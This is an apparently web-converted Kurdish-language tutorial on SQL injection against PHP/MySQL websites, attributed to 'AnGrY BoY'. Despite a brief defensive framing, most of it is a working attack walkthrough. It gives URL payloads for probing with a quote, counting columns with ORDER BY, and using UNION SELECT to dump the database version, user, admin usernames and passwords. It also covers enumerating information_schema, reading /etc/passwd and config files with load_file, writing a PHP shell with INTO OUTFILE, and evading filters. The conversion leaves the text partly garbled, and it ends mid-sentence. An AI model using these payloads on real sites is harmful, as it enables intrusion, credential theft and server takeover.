SQL Injection Attacks - Intelligent Exploit
SQL Injection Attacks - Intelligent Exploit
SQL Injection Attacks - Intelligent Exploit
You also want an ePaper? Increase the reach of your titles
YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.
<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />
- 1 -<br />
@ @@ @
<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />
بسم الله الرحمن الرحيم<br />
سبحانك العلم لنا اال ما علمتنا انك انت العليم الحكيم<br />
--------------------------------------------------------------<br />
@@Z@<br />
لهگهڵ بهرهو پێش چوونی تهكنهلۆجيا و به تايبهت بواری كۆمپيوتهرو<br />
ئهتهرنێت ھێرشهكانی ھاكرزهكان ڕوو له زياد بوون دهكات و ڕيگه و<br />
يهكێكه لهو<br />
شێوازی نووێ دهدۆزرێتهوه. ھێرشی<br />
ھێرشانه يان دهتونين بڵێن يهكێكه له كه زۆر ئاسانه و زۆر مهترسی<br />
داره بۆ سهر ماڵپهر كهچی زۆربهی پهره پێدهرهكان مهترسی ئهو<br />
<strong>SQL</strong> <strong>Injection</strong><br />
.<br />
- 2 -<br />
@ @@ @
<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />
ھێرشانه نازانن يان ھهر بگره زۆر جار ئهگهر باسی بكهی گاڵتهيان پێدێ<br />
بۆ خۆپاراستنی سهرهتايشی بۆ ناكهن.<br />
نازانن كهزۆر مهترسيداره ئهگهرچی له ڕووی جێبهجێكردنی تا<br />
ڕادهيهك ئاسانه بهاڵم زۆر كاريگهره بۆ سهر ماڵپهڕ كه دهتوانی<br />
ڕاستهوخۆ زانياری له داتابێزهوه دهربێنی . من كه باسی دهكهم تهنھا بۆ<br />
ئهوه نيه تا بتوانين زانياری ماڵپهڕيك دهربێنن يان ناو پاسۆردی بهكار<br />
ھێنهرێك دهربێنن بهڵكو مهبهستی دووهم ئهوهيه تا خاوهن ماڵپهر و<br />
داڕێژهی ماڵپهر بزانن كه چهند مهترسی داره تا بهاليهنی كهم ڕيگهی و<br />
شێوازی ھێرشهكه بزانن تا ماڵپهڕهكهيان لهو جۆره ھێرشانه پارێزراوبێ<br />
.له كۆتای دا باسی يهكێك له وھێرشانهدهكهم كه دهنگدانهوهيكی مهزنی<br />
ھهبوو. له 17 اوغست ی ساڵی 2009 وهزارهتی دادی ئهمريكی پياوێكی<br />
ئهمريكی و دوو گهنجی ڕووسی دادگايی كرد كه ھهڵسابوون به دزينی<br />
كه<br />
130 مليۆن ژمارهی بانكی له ڕيگهی ھێرشی<br />
ھێرشيان كردبووه سهر چهند كۆمپانيايهكی زبالح ی وهك , 7-Eleven<br />
<strong>SQL</strong> Injiction<br />
Hannaford Brothers<br />
بۆيه تاچهندی بزانی ئهوهنده دهتوانی خۆت بپارێزی ئهگهر ھيچی لێ<br />
نهزانی ئهوه ناتوانی خۆتی ڵێبپارێزی<br />
.<br />
AnGrY BoY<br />
- 3 -<br />
@ @@ @
<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />
باسی ئهو چهند خاڵهی خوارهو دهكهم ھيوادرام سوودی ڵيوهرگرن :<br />
Field و Table<br />
<strong>SQL</strong> <strong>Injection</strong><br />
.1<br />
.2<br />
3<br />
پێناسهی<br />
دۆزينهوهی ھهڵه و دهرھێنانی زانياری گرنگ<br />
بهيهك جار<br />
ده. رھێنانی زۆرترين<br />
4.خوێندنهوهی فايلی گرنگ<br />
5.چاره سهركردنی ھهندێ له كێشهكان<br />
-----------------------------------------------------------------------------<br />
- 4 -<br />
@ @@ @
<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />
(<strong>SQL</strong>)<br />
چيه ؟؟ كورت كراوهی<br />
(لغة االستعالم البنيويه) بهكورتى زمانێكه قسه لهگهڵ داتا بێز دهكات<br />
دهتوانی لهڕێگه يهوه زانياری له داتا بێز وهرگری و نوێ بكهيهوه و.<br />
وهھهروهھا دهتوانی خشته دورست بكهين و بيسڕينهوه بهتاڵيبكهينهوه<br />
دهستكاريبكهين و چهندين كرداری تر.<br />
لێره ناتوانين باسی زمانی بكهين بهڵكو بهكورتی باسی ھهڵهی<br />
دهكهين كه ناسراوه به <strong>SQL</strong> <strong>Injection</strong> له داتا بێزی<br />
من باسی ھهموويان ناكهم<br />
.بهڵكو تهنھا باسی دهكهم لهگهڵ سكريپتی php .لهو چهند<br />
دێرهی خوارهوه دێن به زمانێكی ساده و به شێوهيكی كورت و پوخت باس<br />
دهكهين تا ھهموو كهس لێی تێبگات<br />
Structured Query Language<br />
.<br />
access-<br />
( Mysql<br />
<strong>SQL</strong><br />
<strong>SQL</strong><br />
-Oracle— mysql ) server<br />
( Mysql )<br />
.<br />
1.پێناسهی <strong>SQL</strong> <strong>Injection</strong><br />
باڵو ترين و باو ترين و ئاسانترين ھهڵهيه له سكريپتهكانی ماڵپهڕ دا ھهيه<br />
به شێوهيكی زۆر باڵوه وه زۆر ئاسانه لهجێبهجێكردنيدا ئهگهر بێتی<br />
داڕيژهكه دانهنابێ كه دهتوانی له ڕێگهی ڵێدانی كۆدهكانی<br />
زمانی وه زانياری پێويست دهربھێنی له ناو داتا بێزهوه<br />
.<br />
(Filter)<br />
<strong>SQL</strong><br />
.<br />
<strong>SQL</strong> لهسهروه باسمان كرد زمانێكه له زمانهكان<br />
له زمانی كوردی نازانم به زاراوهی زانستی چی<br />
پێدهگوترێ ؟؟!! بهاڵم ووشهكه مانای دهرزی لێدان دێ له زمانی عهرهبی<br />
له زمانی<br />
پێدهگوترێ (الحقن) بۆيه دهربڕينی مانای<br />
<strong>Injection</strong><br />
<strong>Injection</strong><br />
- 5 -<br />
@ @@ @
نكا<br />
<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />
كوردی زهحمهته واتاكهی بهم شێوهيه بێ. بهس ئێمه تهنھا پێويستيمان به<br />
مانهكهی ھهيه نهك وهرگێڕانی زاراوه<br />
!!!<br />
بۆ كار ئاسانی تا بتوانی به ئاسانی زانياری به دهست بێنی<br />
magic_quotes_gpc<br />
:<br />
=<br />
باشتره off<br />
داخراو بی واتا چااڵك نهبی<br />
.<br />
- 6 -<br />
@ @@ @
<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />
2.دۆزينهوهی ھهڵه و دهرھێنانی زانياری گرنگ<br />
چۆن دهزانين ئهو سايته ھهڵهی ھهيه ؟؟؟<br />
بۆ نموونه سايتێك دهكهينهوه تهماشا بكه وهك ئهو نموونهی خوارهوه<br />
له كۆتايی دا نوسراوه<br />
وهك ئهم وێنهی خوارهوه<br />
http://localhost/file.php?id=1<br />
file.php?id=1<br />
ئهوهيان گۆڕاوه ھهڵهكه ڵێرهيه.<br />
- 7 -<br />
@ @@ @
<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />
لهپاش ژماره يهك ئهم ھێمايه<br />
چی پێشان دهدات<br />
وێنهی خوارهوه<br />
) ' ( بنووسهو پاشان<br />
http://localhost/file.php?id=1'<br />
ئينتهر بكه بزانه<br />
ئهگهر ھاتوو نامهيكی لهو شێوهيه دهرچوو<br />
ھهڵهيهك ھهيه يان تهنھا نووسرابوو<br />
وهك وێنهی سهرهوه دهڵێ<br />
- 8 -<br />
@ @@ @
<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />
You have an error in your <strong>SQL</strong> syntax<br />
يان نوسرابوو<br />
Warning: mysql_fetch_array(): supplied argument<br />
is not a valid My<strong>SQL</strong> result resource in<br />
/home/user/public_html/files.php<br />
يان بهو شێوهيه<br />
Warning: mysql_result(): supplied argument is<br />
not a valid My<strong>SQL</strong> result resource in<br />
ئهوه بزانه ئهگهری ئهوهی ھهيه ھهڵهی ھهبێ مهج نيه له 100% ئهو<br />
سايته ھهڵهی ھهبی بهاڵم ئهگهری ئهوه ھهيه 75% ھهڵهی ھهبێ.<br />
وهك ئهم ووێنهی خوارهوه<br />
- 9 -<br />
@ @@ @
<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />
ئێستا زانيمان كه ھهڵهی ھهيه چۆن زانياری گرنگ وهرگرين له ڕێگهی<br />
ئهو ھهڵهيه ؟؟؟<br />
پاش ئهوهی زانيمان ئهو سايته ھهڵهی ھهيه با بيێن زانياری گرنگ و<br />
پێويست دهربێنين وهك<br />
بۆ زانينی ناو و پاسۆرد دهبێ يهكهم چار ژمارهی column بزانين.<br />
لهدوای گۆڕاوهكه<br />
ھهڵدهستين به نووسينى<br />
( واتا داوا دهكهی كه ژمارهكهمان پێ بڵێ<br />
Password & User Name<br />
order by<br />
order by )<br />
- 10 -<br />
@ @@ @
Sql<br />
<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />
وهك لهسهرهوه باسم كرد پشت به فرمانهكانی زمانی<br />
زمانی زۆر نزيكه له زمانی ئاسای.<br />
بهم شێهوهيه ژمارهی دهردينين<br />
دهبهستين<br />
column<br />
Sql<br />
وهك ئهم وێنهی خوارهوه<br />
- 11 -<br />
@ @@ @
<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />
(/*)<br />
(--)<br />
-:<br />
يان مانای كۆتای دێڕ يان داخستنی يان<br />
ئهوهی له دووای دێ بهمانای پێناسه دێ واتا كارناكاته سهر كۆدهكان<br />
له ژمارهيكهوه دهست پێدهكهی تا ھهڵهكه له الپهڕهكه وون دهبی بۆ<br />
نموونه له ژماره 10 دهست پێبكه ئهگهر ھهڵهكه ھهر مابوو ئهوه بيكه<br />
وهھهروهھا تا ھهڵهكه<br />
بيكه ئهگهر ھهر مابوو ئهوه بيكه يان بهاليهنيكهم گۆڕانكاری بهرچاو<br />
لهسهر الپهڕهكه وون دهبی ڕووبدات له الپهڕهكه.<br />
كهيه بۆ<br />
له كام ژماره ھهڵهكه وون بوو ئهوه ژمارهی<br />
مان<br />
ئێستا ژمارهی نموونه له ژماره 8 ھهڵهكه ون بوو زۆر<br />
وهك ئهو وێنهی خوارهوه له ژماره زانی كه ژماره كهم بۆوه<br />
9<br />
http://localhost/file.php?id=1+order+by+10--<br />
http://localhost/file.php?id=1+order+by+9--<br />
http://localhost/file.php?id=1+order+by+8--<br />
http://localhost/file.php?id=1+order+by+7--<br />
http://localhost/file.php?id=1+order+by+6--<br />
http://localhost/file.php?id=1+order+by+5--<br />
http://localhost/file.php?id=1+order+by+4--<br />
http://localhost/file.php?id=1+order+by+3--<br />
http://localhost/file.php?id=1+order+by+2--<br />
http://localhost/file.php?id=1+order+by+1--<br />
Column<br />
Column<br />
8 ھهڵهكه<br />
6<br />
7<br />
.<br />
8 بيكه<br />
8<br />
- 12 -<br />
@ @@ @
<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />
پاش ئهوهی ژمارهی column مان زانى دێين فرمانی<br />
بهكار ھێنانی<br />
بهم شێوهيه بهكار دێ<br />
union select<br />
Union select<br />
بهكار دهێنين.<br />
و دهرھێنانی زانياری<br />
http://localhost/file.php?id=-1+union+select+1,2,3,4,5,6,7,8--<br />
- 13 -<br />
@ @@ @
<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />
id<br />
نێوان 8-1<br />
(-)<br />
لهگهڵ دانانی ھێمای كهم له دوای گۆڕاوی پاشان دهبينی له<br />
ناو الپهڕهكه چهند ژمارهيهك دهردەچێت له لێرهوه زانياری<br />
گرنگ وهردهگرين.<br />
وهك ئهم وێنهی خوارهوه سهرنج بده بهم شێوهيه دهنووسرێ<br />
لهوانهيه پرسيار بكهن بۆ تا ژماره 8 مان نووسيی بۆ ؟؟؟ وهاڵم چونكه<br />
ھهڵهكه له ژماره 8 وون بوو واتا ژمارهی<br />
column كهيه<br />
- 14 -<br />
@ @@ @
<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />
وهك له وێنهكه دياره ژماره 2 پيشان دا كهواته ئهوهی دهمانهوێ<br />
بيبينينهوه وهك ڤێرژن و ناوی داتا بێز و يوزهر ھهمووی له شوێنی<br />
ژماره 2 دهنووسين<br />
سهيری وێنهی خوارهوه<br />
بۆ نموونه بۆ زانينی ڤێرژن ده نووسينی<br />
له بهستهرهكه له شوێنی ژماره 2<br />
@@version يان<br />
version()<br />
:- مهبهست له<br />
My<strong>SQL</strong> version<br />
زانينی ڤێرژن مهبهستمان ڤێرژنی<br />
My<strong>SQL</strong> واتا<br />
2 پيشان<br />
.<br />
وهك دياره له وێنهكه له ناو الپهڕهكه لهجێگای ئهوهی ژماره<br />
بدا ڤێرژنهكهی پيشانداين<br />
- 15 -<br />
@ @@ @
<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />
بۆ زانينی يوزهر user()<br />
بۆ زانينی داتا بێز<br />
database() ئهوهش ناوی داتا بێز<br />
- 16 -<br />
@ @@ @
<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />
نوسينی ئهو فرمانانهی سهرهوه له شوێنی ژمارهكه زانياريهكانت پێدهدا<br />
بۆ زانينی ناوی يوزهر و پاسۆرد ھهلدهستين به دهرھينانی ئهو<br />
زانيارانهی خوارهوه..<br />
دۆزينهوهی خشته جهدول<br />
بهم شێوهيه دهنووسرێ وهك ئهم وێنهيه<br />
(<br />
Table )<br />
http://localhost/file.php?id=-<br />
1+union+select+1,2,3,4,5,6,7,8+from+admin--<br />
- 17 -<br />
@ @@ @
<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />
ووشهی From<br />
بۆ دهستنيشانكردن بهكاردێ<br />
-:<br />
-:<br />
ووشهی ئهدمين ناوی جهدوهلهكهيه واتا خشته (Table) ئهو خشتهيه<br />
لهخۆ دهگری ھهر Field زانياری گرنگ لهخۆ<br />
دهگرێ.<br />
بۆيه مهرج نيه له ھهموو سكريپتهك ھهر بی بهگوێره<br />
سكريپت دهگۆڕی<br />
admin<br />
.<br />
چهند Field<br />
- 18 -<br />
@ @@ @
<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />
:- ھهندێ ناوی جهدولهكان<br />
user , admin , member , login , moderator , administrator<br />
ئهگهر ناوی خشتهكه تهواو بوو ئهو ژمارهكه وهك خۆی دهردهچيتهوه له<br />
ناو الپهڕهكه وه ئهگهر ھهڵه بوو ئهوه ھهڵه پيشان دهدات له ناو الپهڕهكه.<br />
بۆ نموونه گريمان ناوی خشتهكه تهواو بوو ژمارهكه وهك خۆی<br />
دهرچوو دوای چ دهكهين<br />
؟؟ وهك ئهم وێنهی خوارهوه<br />
- 19 -<br />
@ @@ @
<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />
ھهڵدهستين به نووسينی ناوی<br />
بۆزانينی ناو واتا<br />
Field<br />
user name<br />
له شوێنی ژمارهكه<br />
بهم شێويه دهنووسين<br />
وهك<br />
http://localhost/file.php?id=-<br />
1+union+select+1,user,3,4,5,6,7,8+from+admin--<br />
وهك بينيتان له شوێنی ژماره 2 له ناو بهستهرهكه نوسيم user<br />
دهبينين له شوێنی ژمارهكه ناوهكه دهردهچی واتا user name<br />
شێوهيه كه له وێنهكهی خوارهوه دياره<br />
بهم<br />
.<br />
- 20 -<br />
@ @@ @
<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />
user<br />
تێبينی \\<br />
مهرج نيه تهنھا<br />
بێت وهك گوتم به گوێرهی سكريپت<br />
دهگۆڕ وهك username , user, usr, user_name<br />
دهرھێنا<br />
User nam مان ئهو جاره با پاسۆردی دهربێنين<br />
وه ھهرروهھا بۆ زانينی ووشهی نھێنی واتا پاسۆرد password<br />
دهنووسين يان<br />
ئهوا<br />
pwd يان password<br />
pass<br />
- 21 -<br />
@ @@ @
بهم شێوهيه دهنووسرێ<br />
<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />
تهماشای ئهو وێنهی خوارهوه بكه<br />
http://localhost/file.php?id=-1+union+select+1,<br />
password,3,4,5,6,7,8+from+admin--<br />
دهبينين له شوێنی ژمارهكه ووشهی نھێنی دهردهچی واتا<br />
يشمان دهرھێنا.<br />
بهم شێوهيه<br />
passwor<br />
password<br />
-:<br />
concat(password,0x3e,user)<br />
بۆ بهستنهوهی ھهردوو فرمانهكه ئهم دهستهواژهيه<br />
بهم شێوهيه<br />
بهكار دينين<br />
بۆ بهستهوهی فرمانهكان بهيهكهوه يان دانانی دوو فرمان<br />
بهجارێک<br />
Concat<br />
.<br />
- 22 -<br />
@ @@ @
یوه<br />
<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />
0x3e<br />
ئهوهيان وهك ناوبڕه دادهندرێ تا تێكهڵ نهبی ھهردوو فرمانهكه<br />
ئهوه بريتيه له < ئهو ھێمايه بهاڵم به شێوهی ھيكس<br />
ئهوه تهنھا بۆ زانياری.<br />
http://localhost/file.php?id=-<br />
1+union+select+1,concat(password,0x3e,user),3,<br />
4,5,6,7,8+from+admin--<br />
!!<br />
بهڕێزان فايلێكی ڤيديۆی لهگهڵه به ناونيشانی ) سهرهتا و دۆزينه<br />
ھهڵه) كه بهديژی ئهوهی له خاڵی يهكهم باسم كردووه به وێنه به ڤيديۆ<br />
باسم كرديه بۆ زياتر تێگهيشتن<br />
- 23 -<br />
@ @@ @
شوه<br />
<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />
table<br />
وه ھهندێ ناوی و الپهڕهی ئهدمينی ئهوهی پێوست بووه بۆ<br />
ئهو باسه سهروه دام ناوه له ناو فايلی<br />
!!<br />
txt<br />
-------------------------------------------<br />
Field و Table<br />
.3<br />
بهيهك جار<br />
دهرھێنانی زۆرترين<br />
له سهرهوه باسی دهرھێنانی زانياری وهك يوزهر و پاسۆردم كرد كه<br />
پێويست به و ن ھهبوو ھهتا بتوانين يوزهرو پاسۆرد<br />
دهربێنين ئهويش به دانانی ناوی كان و هكان ئه<br />
دهبوايه به مهزهنده دايبنێين دڵنيا نهبووين ئايه ڕاسته يان ھهڵهيه دهبی<br />
دووباره تاقی بكهيهوه ھهتا به تهواوی دهبيينيهوه ئهوه تهنھا له ڤێرژنی<br />
وهھايه . له فێرژنی زۆر ئاسانه دهتوانی به ماوهكی كهم زۆرترين<br />
زانياری وهرگری.<br />
باشه چۆن بزانين ئهوه ڤێرژنی 4 يان 5 ه ؟؟؟ واڵم لهسهرهوه باسم كرد<br />
يان<br />
له شوێنی ژمارهكه دهنووسی<br />
ئهوكات دهزانی 4 يان 5 ئهگهر 4 بوو ئهوه له خاڵی 3 م باسم كردووه<br />
بهاڵم ئهگهر 5 بوو ئهوه زۆر ئاسانه ئێستا باسی دهكهن<br />
بهم شێوهی خوارهوه دهنوسرێ. بۆ زانينی ڤێرژن وهك باسم كرد له<br />
شوێنی ژمارهيك دهنووسی @@version سهيری ئهو وێنهيه بكه<br />
4<br />
Field<br />
version()<br />
Table<br />
@@version<br />
Field<br />
5<br />
table<br />
- 24 -<br />
@ @@ @
<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />
له شوێنی ژماره 1 دهنووسی @@version وهك ئهو وێنهی خوارهوه<br />
- 25 -<br />
@ @@ @
<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />
زۆر باشه ئهوه زانيمان فێرژنی 5 ه پاشان ؟؟<br />
بۆ ئهوهی تهيبڵهكان به ئاسانی ببينينهوه ئهوه دهبی ناوی تهيبڵهكان له<br />
نێوان دوو ھێمای له سهدا بنووسين پاشان بيگۆڕين بۆ My<strong>SQL</strong>CHAR<br />
چۆنيهتی گۆڕينی بۆ My<strong>SQL</strong>CHAR دهتوانی له ڕێگهی توڵباريێكی<br />
بهناوی يان بهرنامه ھهيه<br />
تايبهت به گۆڕين<br />
سهيری ئهو وێنهی خوارهوه بكه<br />
hackbar<br />
تايبهت له Mozilla Firefox<br />
- 26 -<br />
@ @@ @
<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />
پاشان پهنجهرێك دهبيتهوه ئهوهی مهبهسته لێبنووسه بۆ نموونه دهمانهوێ<br />
بدۆزينهوه ئهوه دەنووسين %admin%<br />
ناوی<br />
پاشان<br />
ئهوهی دهنووسی بۆ دهرھێنانی<br />
پاسۆرد<br />
ى بۆ دهرھێنانی دهيكاته<br />
دوای دهيكهینه<br />
دهنووسين %User %<br />
table<br />
My<strong>SQL</strong>CHAR<br />
admin ی table<br />
table user<br />
My<strong>SQL</strong>CHAR<br />
%pwd%<br />
ok<br />
دوای ئهوهی كه نووسيمان %admin%<br />
ئهو وێنهی خوارهوه<br />
پاشان كليكی<br />
بكه وهك<br />
- 27 -<br />
@ @@ @
<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />
كه كليكی<br />
كرد ئهوه پهنجهرهكه دادهخرێ ئهوهی نوسيوته دهيكاته<br />
ئامادهيه بۆ بهكار ھێنان وهك وێنهی خوارهوه<br />
ok<br />
My<strong>SQL</strong>CHAR<br />
- 28 -<br />
@ @@ @
<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />
ئهو ڕستهيه كه دهرچووه له وێنهكه ئاماژهم پێدايه كۆپی بكه له كۆتايی<br />
بهستهرهكه دايبنێ لهگهڵ دانانی<br />
concat(table_name,0x3e,column_name,0x3e,ta<br />
ble_schema)<br />
له شوێنی يه كێك له ژمارهكان .<br />
لهگهڵ دانانی<br />
from+information_schema.columns+where+colum<br />
n_name+like+<br />
له كۆتايی ژمارهكان<br />
لهگهڵ دانای<br />
ھهموويان.<br />
له كۆتايی<br />
CHAR(37, 97, 100, 109, 105, 110, 37)<br />
- 29 -<br />
@ @@ @
له كۆتايی بهستهرهكه دهبێته<br />
ئهوهی زياد كراوه بريتيه له<br />
<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />
http://localhost/file.php?id=-<br />
1+union+select+1,2,<br />
concat(table_name,0x3e,column_name,0x3e,tab<br />
le_schema),4,5+from+information_schema.colu<br />
mns+where+column_name+like+ CHAR(37, 97,<br />
100, 109, 105, 110, 37)--<br />
: واتا له ھهرشوێنيك بی<br />
where<br />
: Like واتا ھاوشێوهی لێكچوو<br />
-:<br />
( % )<br />
% %<br />
ھێمای له سهدا واتا ھهر ووشهيهك پێك ھاتبی له و<br />
پيتانهی له نێوانمان نووسيه<br />
بۆ نموونه ئێمه زۆر جار له ناو ويندۆز دهگهڕين به دوای بهرنامهكان<br />
دهنووسين واتا ھهر فايلێك بهشێوهی بی بيدۆزهوه<br />
ئهو ووشهی سهرهوه ھهمان مانی ھهيه له زمانی<br />
exe<br />
sql<br />
*.exe<br />
+where+column_name+like+%user% My<strong>SQL</strong>CHAR --<br />
pass<br />
له كۆتايی ڕستهكه دهبێته :-<br />
دهری بێنه.<br />
له ھهر شوێنێك ووشهی<br />
ھهبێ<br />
- 30 -<br />
@ @@ @
<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />
pass User<br />
-:<br />
admin , password , pwd , username , name<br />
, login , admin_name<br />
بيكه<br />
ئهگهر به ناوی<br />
يان<br />
وه ھهروهھاااااا<br />
دهرنهچوو ئهوه<br />
پاشان انتربكه دهبينی<br />
table كان پيشان دهدا وهك ئهو وێنهی خوارهوه.<br />
- 31 -<br />
@ @@ @
كوه<br />
<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />
پاشان بۆ ناوی پاسۆرد ھهمان كردار تاقی كهوه<br />
ئهوجاره بۆ پاسۆرد بنووسه<br />
نوسيمان<br />
وهھهروهھااا..<br />
لهسهروه كه<br />
%pwd% ,<br />
%admin%<br />
%pass%,<br />
ئهو وێنهی خوارهوهتهماشاكه من ووشهی<br />
سهركهوتووبوو سهيركهن<br />
%pwd% تاقی كردهوه<br />
.<br />
- 32 -<br />
@ @@ @
<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />
له كۆتای سهيركهن به ئاسانی<br />
user , password مان دهرھيناا<br />
- 33 -<br />
@ @@ @
<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />
-:<br />
)<br />
به ڤيديۆ ئهوهی لهسهره باسم كرد بۆتان شيکراوهتهوه به<br />
له ڤێرژنی 5) بۆ زياتر<br />
ناوی دهرھێنانی زۆرترين<br />
تێگهيشتن.!<br />
Field و Table<br />
--------------------------------------------------<br />
- 34 -<br />
@ @@ @
<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />
4. خوێندنهوهی فايلی گرنگ و بهرزكردنهوهی فايل<br />
ئاسانترين ڕيگه بۆ ھاكردنی سايت له ڕێگهی ھهڵهی له ڕيگهی<br />
ئهم فرمانهوهيه ئهويش فرمانی<br />
بهم شێوهيه بهكار دێ<br />
ڕێڕهوی ئهو فايله بنووسه كه دهتهوێ<br />
يان له شوێنی<br />
بيخوێنيهوه<br />
ئهوهش پێويسته<br />
دهتوانی ئهم فرمانه جێبهجێ<br />
چۆن دهزانی<br />
بكهی<br />
ئهگهر ھهڵهی پيشان دا يان الپهڕهكه سپی بوو ئهوه دياره ئيش ناكات<br />
ئهگهر زانياری پيشاندای ئهوهبزانه ئيش دهكات<br />
چۆنيهتی بهكار ھێنانی ئاسانه له شوێنی ژمارهكه دهنوسين<br />
sql<br />
load_file<br />
load_file('/etc/passwd')<br />
/etc/passwd'<br />
magic quotes=OFF<br />
magic quotes=OFF<br />
load_file('/etc/passwd')<br />
http://localhost/file.php?id=-1+union+select+1,<br />
load_file('/etc/passwd'),3,4,5+admin<br />
بۆ خوێندنهوهی فايل دهتوانی ڕێڕهوی فايلهكه بنووسی وهك ئهو نموونهی<br />
خوارهوه<br />
/home/h4kurd/public_html/Config.php<br />
http://localhost/file.php?id=-1+union+select+1,<br />
load_file(/home/h4kurd/public_html/config.ph<br />
p),3,4,5+admin--<br />
بهم شێوهيه زانياری كۆنفيگ پيشان دهدات له ناو الپهڕهكه زۆر جار ئهو<br />
فرمانانه به شێوهی ئاسای ئيش ناكات دهبێت بيكهیته ھيكس<br />
تا وهكو ئيش بكات ئهويش بهم شێوهيه دهبی.<br />
hex<br />
- 35 -<br />
@ @@ @
<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />
Unhex(hex(load_file(0x and command)))<br />
or load_file(0x and command)<br />
.<br />
بۆ گۆڕينی فرمانهكان بۆ ھيكس ئهوه ڕيگه زۆرن پێويست ناكات باسی<br />
بكهين بهرنامهيكی بچووك دادهنێم بۆتان بۆ گۆڕينی فرمانهكان بۆ<br />
ھيكس.!<br />
into+outfile<br />
-:<br />
دهبێ<br />
لهڕێگهی فرمانی<br />
فۆڵدهرێك لهناو ھۆستهكه ھهبی به جمۆدی 777 واتا ڕێگه پێدراو بی به<br />
بهرزكردنهوهی فايل<br />
ئهوكات دهتوانی فايلێك دورست بكهی پاشان كۆدی ھهڵهی تێدا<br />
بنوسيهوه پاشان شێڵ ئهپڵۆد بكهی<br />
فرمانهكه بهم شێوهی خوارهوه دهنووسرێ<br />
http://localhost/file.php?id=-1+union+select+1, ,3,4,5+into+outfile"/home/h4kurd/p<br />
ublic_html/folder/h4kurh.php"<br />
ئهگهر سهركهوتوو نهبووی<br />
شێوهی خوارهوهی لێدێ<br />
فرمانهكه<br />
دهگۆڕين به<br />
تشفيری<br />
ھيكس بهم<br />
<br />
ئهم كۆدانه دهكهينه تشفيری ھيكس<br />
- 36 -<br />
@ @@ @
یوه<br />
<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />
http://localhost/file.php?id=-1+union+select+1, 0x and code<br />
,3,4,5+into+outfile"/home/h4kurd/public_html/folder/h4kur<br />
h.php"<br />
بهم شێوهيه دهتوانی فايلێك دوورست بكهی و ھهڵهی تێدابی ئهوكات شێڵ<br />
بهرز كهوه<br />
بۆ زانياری زياتربه ڤيديۆ باسی چۆنيهتی خۆيندنهوهی فايلی گرنگ و<br />
بهرزكردنهی فايلم كرديه دامناوه بۆتان به ناوی (خوێندنه فايلی<br />
گرنگ)<br />
---------------------------<br />
- 37 -<br />
@ @@ @
<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />
5. چاره سهركردنی ھهندێ له<br />
كێشهكان<br />
چارهسهری Forbidden<br />
زۆر جار له كاتی نوسينی فرمانهكانی وهك<br />
الپهڕهيك دهردهچێ دهنووسرێ Forbidden<br />
بۆ چارهسهری ھهڵسه به نوسينی ئهم فرمانه له نێوان<br />
بنووسه وهك ئهو نموونهی خوارهوه<br />
union select<br />
union select<br />
union select<br />
all<br />
http://localhost/file.php?id=-<br />
1+union+all+select+1,2,3,4,5+admin--<br />
به گۆڕينی<br />
يان ھهڵسه به گۆڕينی شێوهی نوسينی<br />
شێوهی پيتهكان به گهورهو بچووك وهك<br />
چونكه زۆر جار فلتهری لهسهر دادهندرێ بهم شێوه<br />
تۆ كه ياری به پيتهكان دهكهی<br />
ئاسايه دادهندرێ<br />
ئهوه نايناستهوه<br />
يان ووشهی 1+1 and له پێش گۆڕاوهكه واتا بهم شێوهيه<br />
union select<br />
UniOn SlEcT<br />
http://localhost/file.php?id=-<br />
1+and+1=1+union+all+select+1,2,3,4,5+admin--<br />
بهاڵم ئهمهشه له ھهموو كاتێك سهركهوتوو نابێ ئهوجاره ھهڵسه<br />
گۆڕينی به شێوهی تشفيری ھيكس واتا فرمانهكان بكه به ھيكس..<br />
به<br />
دۆزينهوهی تهيبڵهكان<br />
لهكاتی ھهبوونی كێشه<br />
- 38 -<br />
@ @@ @
یڕه<br />
یوه<br />
<strong>SQL</strong> <strong>Injection</strong> <strong>Attacks</strong><br />
(<br />
)<br />
له سهرهوه باسم كرد بهشێوهی ئهگهر بێت و فيرژنی له خوارووی 5 بی<br />
يان لهبهر ئهوهی ھهندێ كات دهسهاڵتت نادات تهيبڵهكان ببينی ئهوهبه<br />
